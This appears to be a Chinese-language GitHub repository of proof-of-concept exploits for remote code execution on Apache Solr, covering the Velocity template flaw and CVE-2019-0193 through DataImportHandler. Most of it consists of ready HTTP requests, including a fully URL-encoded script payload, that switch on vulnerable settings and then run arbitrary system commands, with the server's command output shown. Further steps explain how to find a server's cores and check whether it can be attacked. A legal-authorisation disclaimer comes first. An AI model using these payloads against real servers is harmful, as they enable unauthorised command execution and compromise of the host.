├── RCE via Velocity template 2019.10.30.md ├── README.md └── URLDataSource └── demo.xml /RCE via Velocity template 2019.10.30.md: -------------------------------------------------------------------------------- 1 | ### 声明 2 | 3 | 此处提供的漏洞检测方法、文件等内容,均仅限于安全从业者在获得法律授权的情况下使用,目的是检测已授权的服务器的安全性。安全从业者务必遵守法律规定,禁止在没有得到授权的情况下做任何漏洞检测。 4 | 5 | ### 漏洞检测 6 | 7 | 2019.10.30 国外@_S00pY发布RCE via Velocity template PoC 8 | 9 | 内容如下 10 | ``` 11 | Apache Solr RCE via Velocity template 12 | 13 | Set "params.resource.loader.enabled" as true. 14 | 15 | Request: 16 | ======================================================================== 17 | POST /solr/test/config HTTP/1.1 18 | Host: solr:8983 19 | Content-Type: application/json 20 | Content-Length: 259 21 | 22 | { 23 | "update-queryresponsewriter": { 24 | "startup": "lazy", 25 | "name": "velocity", 26 | "class": "solr.VelocityResponseWriter", 27 | "template.base.dir": "", 28 | "solr.resource.loader.enabled": "true", 29 | "params.resource.loader.enabled": "true" 30 | } 31 | } 32 | ======================================================================== 33 | 34 | 35 | RCE via velocity template 36 | Request: 37 | ======================================================================== 38 | GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 39 | Host: localhost:8983 40 | ======================================================================== 41 | 42 | 43 | Response: 44 | ======================================================================== 45 | HTTP/1.1 200 OK 46 | Content-Type: text/html;charset=utf-8 47 | Content-Length: 56 48 | 49 | 0 uid=8983(solr) gid=8983(solr) groups=8983(solr) 50 | ======================================================================== 51 | ``` 52 | 53 | 54 | #### 第1步 55 | 56 | 设置VelocityResponseWriter插件的params.resource.loader.enabled选项设置为true 57 | 58 | Apache Solr默认带有VelocityResponseWriter插件,该插件的params.resource.loader.enabled选项(默认为false),用来控制是否允许resource.loader在Solr请求参数中指定模版。 59 | 60 | 以下HTTP请求会设置VelocityResponseWriter插件的params.resource.loader.enabled选项设置为true,即允许用户通过HTTP请求指定资源的加载。 61 | 62 | ``` 63 | POST /solr/core_name/config HTTP/1.1 64 | Host: solr.com:8983 65 | Content-Type: application/json 66 | Content-Length: 293 67 | 68 | { 69 | "update-queryresponsewriter": { 70 | "startup": "lazy", 71 | "name": "velocity", 72 | "class": "solr.VelocityResponseWriter", 73 | "template.base.dir": "", 74 | "solr.resource.loader.enabled": "true", 75 | "params.resource.loader.enabled": "true" 76 | } 77 | } 78 | ``` 79 | 80 | 测试发现 81 | 82 | `HTTP/1.1 200 OK`表示修改成功; 83 | 否则失败(可能因为这个core对应的solrconfig.xml没配置VelocityResponseWriter插件) 84 | 85 | #### 第2步 86 | 87 | 构造一个自定义的Velocity模版,可实现执行任意系统命令 88 | 89 | 这里执行命令`ls -al` 90 | 91 | ``` 92 | GET /solr/core_name/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20-al%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1 93 | Host: solr.com:8983 94 | Connection: close 95 | ``` 96 | 97 | 命令执行结果 见HTTP response Body. 98 | 99 | **例1** 执行`pwd` 100 | 101 | 得到Response 102 | ``` 103 | HTTP/1.1 200 OK 104 | Connection: close 105 | Content-Type: text/html;charset=utf-8 106 | Content-Length: 27 107 | 108 | 0 /root/solr-7.7.2/server 109 | ``` 110 | 111 | **例2** 执行`ls -al` 112 | 113 | 得到Response 114 | ``` 115 | HTTP/1.1 200 OK 116 | Connection: close 117 | Content-Type: text/html;charset=utf-8 118 | Content-Length: 676 119 | 120 | 0 total 208 121 | drwxr-xr-x 11 root root 4096 Oct 31 2019 . 122 | drwxr-xr-x 9 root root 4096 May 28 2019 .. 123 | drwxr-xr-x 2 root root 4096 May 28 2019 contexts 124 | drwxr-xr-x 2 root root 4096 May 28 2019 etc 125 | drwxr-xr-x 3 root root 4096 May 28 2019 lib 126 | drwxr-xr-x 2 root root 4096 Oct 31 2019 logs 127 | drwxr-xr-x 2 root root 4096 May 28 2019 modules 128 | -rw-r--r-- 1 root root 4068 May 28 2019 README.txt 129 | drwxr-xr-x 2 root root 4096 May 28 2019 resources 130 | drwxr-xr-x 3 root root 4096 May 28 2019 scripts 131 | drwxr-xr-x 6 root root 4096 Oct 31 2019 solr 132 | drwxr-xr-x 3 root root 4096 May 28 2019 solr-webapp 133 | -rw-r--r-- 1 root root 160625 Nov 14 2018 start.jar 134 | ``` 135 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### 声明 2 | 3 | 此处提供的漏洞检测方法、文件等内容,均仅限于安全从业者在获得法律授权的情况下使用,目的是检测已授权的服务器的安全性。安全从业者务必遵守法律规定,禁止在没有得到授权的情况下做任何漏洞检测。 4 | 5 | ### 简介 6 | 7 | [漏洞分析 - Apache Solr远程代码执行漏洞(CVE-2019-0193) - 先知社区](https://xz.aliyun.com/t/5965) 8 | 9 | 理论上可以使用各种不同类型的数据源来构造Exploit 10 | 11 | Exploit1使用数据源的类型为`URLDataSource` 12 | 13 | Exploit2使用的数据源类型为 `ContentStreamDataSource` 14 | 15 | 16 | ### 检测漏洞 - Exploit1 17 | 18 | Exploit1使用数据源的类型为`URLDataSource` 19 | 20 | 优点:结果回显 支持对Solr低版本的检测 21 | 22 | 缺点:需要出网 23 | 24 | 25 | #### 步骤1 26 | 27 | 构造`URLDataSource`类型的数据源(Solr服务器会去访问该数据源!) 可以直接使用这个 28 | 29 | https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml 30 | 31 | 文档`demo.xml` 即`URLDataSource`类型的数据源 一份无害的正常XML文档 32 | 33 | 文档中只有一个`item`元素 以便实现只执行1次命令 34 | 35 | 36 | 也可以自己启动web服务器托管文档`demo.xml` 命令 `live-server --port=5555` 得到地址 `http://127.0.0.1:5555/demo.xml` 37 | 38 | #### 步骤2 39 | 40 | 获取Solr中所有索引库(core)的名称 41 | 42 | ``` 43 | http://{xx.com:80}/solr/admin/cores 44 | 45 | HTTP响应 JSON数据 会有所有索引库(core)的名称 46 | 47 | "name":"xxxx" 48 | ``` 49 | 50 | #### 步骤3 51 | 52 | 判断该索引库是否使用了DataImportHandler模块 53 | 54 | 方法1 55 | ``` 56 | 访问 57 | http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json 58 | 59 | 如果使用了DataImportHandler模块 则HTTP响应内会有: 60 | org.apache.solr.handler.dataimport.DataImportHandler 61 | 62 | 否则说明没有使用DataImportHandler模块(不受该漏洞影响) 63 | ``` 64 | 65 | 方法2 66 | ``` 67 | 访问 68 | http://{xx.com:80}/solr/#/{core_name}/dataimport 69 | 70 | 如果这个Solr服务器并没有使用dataimport-handler模块(不受该漏洞影响),HTTP响应中会有提示: 71 | sorry, no dataimport-handler defined! 72 | 73 | 否则说明使用了DataImportHandler模块(受该漏洞影响) 74 | ``` 75 | 76 | #### 步骤4 构造HTTP请求 77 | 78 | 执行命令 HTTP响应中有执行结果回显 支持多行结果 (我写的是每一行用`\n\r`结尾) 79 | 80 | 注意:需要将以下请求url中的字符串"tika"替换为索引库的名称 81 | 82 | ``` 83 | POST /solr/tika/dataimport HTTP/1.1 84 | Host: solr.com:8983 85 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 86 | Accept: application/json, text/plain, */* 87 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 88 | Accept-Encoding: gzip, deflate 89 | Referer: http://solr.com:8983/solr/ 90 | Content-type: application/x-www-form-urlencoded 91 | X-Requested-With: XMLHttpRequest 92 | Content-Length: 1231 93 | Connection: close 94 | 95 | command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig= 96 | 97 | 98 | 99 | 100 | 122 | 123 | 124 | 129 | 130 | 131 | 132 | 133 | ``` 134 | 135 | 136 | ### 检测漏洞 - Exploit2 137 | 138 | Exploit2使用的数据源类型为 `ContentStreamDataSource` 139 | 140 | 优点:结果回显 无需出网 141 | 142 | 缺点:对低版本无法检测 - 因为通过POST请求修改`configoverlay.json`文件中的配置会失败 143 | 144 | #### 步骤1-3 145 | 146 | 步骤1省略 147 | 148 | 步骤2-3 同上 149 | 150 | #### 步骤4 151 | 152 | 该步骤是为了修改`configoverlay.json`文件中的配置 以启用远程流的相关选项 `.enableStreamBody` `.enableRemoteStreaming` 153 | 154 | 替换`tika`为索引库名称 155 | 156 | ``` 157 | POST /solr/tika/config HTTP/1.1 158 | Host: 127.0.0.1 159 | Accept: */* 160 | Content-type:application/json 161 | Content-Length: 159 162 | Connection: close 163 | 164 | {"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}} 165 | ``` 166 | 167 | 响应200即成功(实际测试 8.1可以成功) 168 | 169 | 响应500即失败(实际测试 某些低版本会失败) 170 | 171 | #### 步骤5 172 | 173 | 发送请求 执行系统命令`ifconfig` 并得到回显 (全程无外连 不出网) 174 | 175 | ``` 176 | POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1 177 | Host: solr.com:8983 178 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 179 | Accept: application/json, text/plain, */* 180 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 181 | Accept-Encoding: gzip, deflate 182 | Referer: http://solr.com:8983/solr/ 183 | Content-Length: 212 184 | content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f 185 | 186 | 187 | --------------------------aceb88c2159f183f 188 | Content-Disposition: form-data; name="stream.body" 189 | 190 | 191 | 192 | 193 | 194 | 195 | --------------------------aceb88c2159f183f-- 196 | 197 | ``` 198 | 199 | 200 | 201 | 注意,其中dataConfig的值,URLencode之前为以下字符串 202 | ``` 203 | 204 | 205 | 206 | 207 | 225 | 226 | 227 | 235 | 236 | 237 | 238 | 239 | ``` 240 | -------------------------------------------------------------------------------- /URLDataSource/demo.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | --------------------------------------------------------------------------------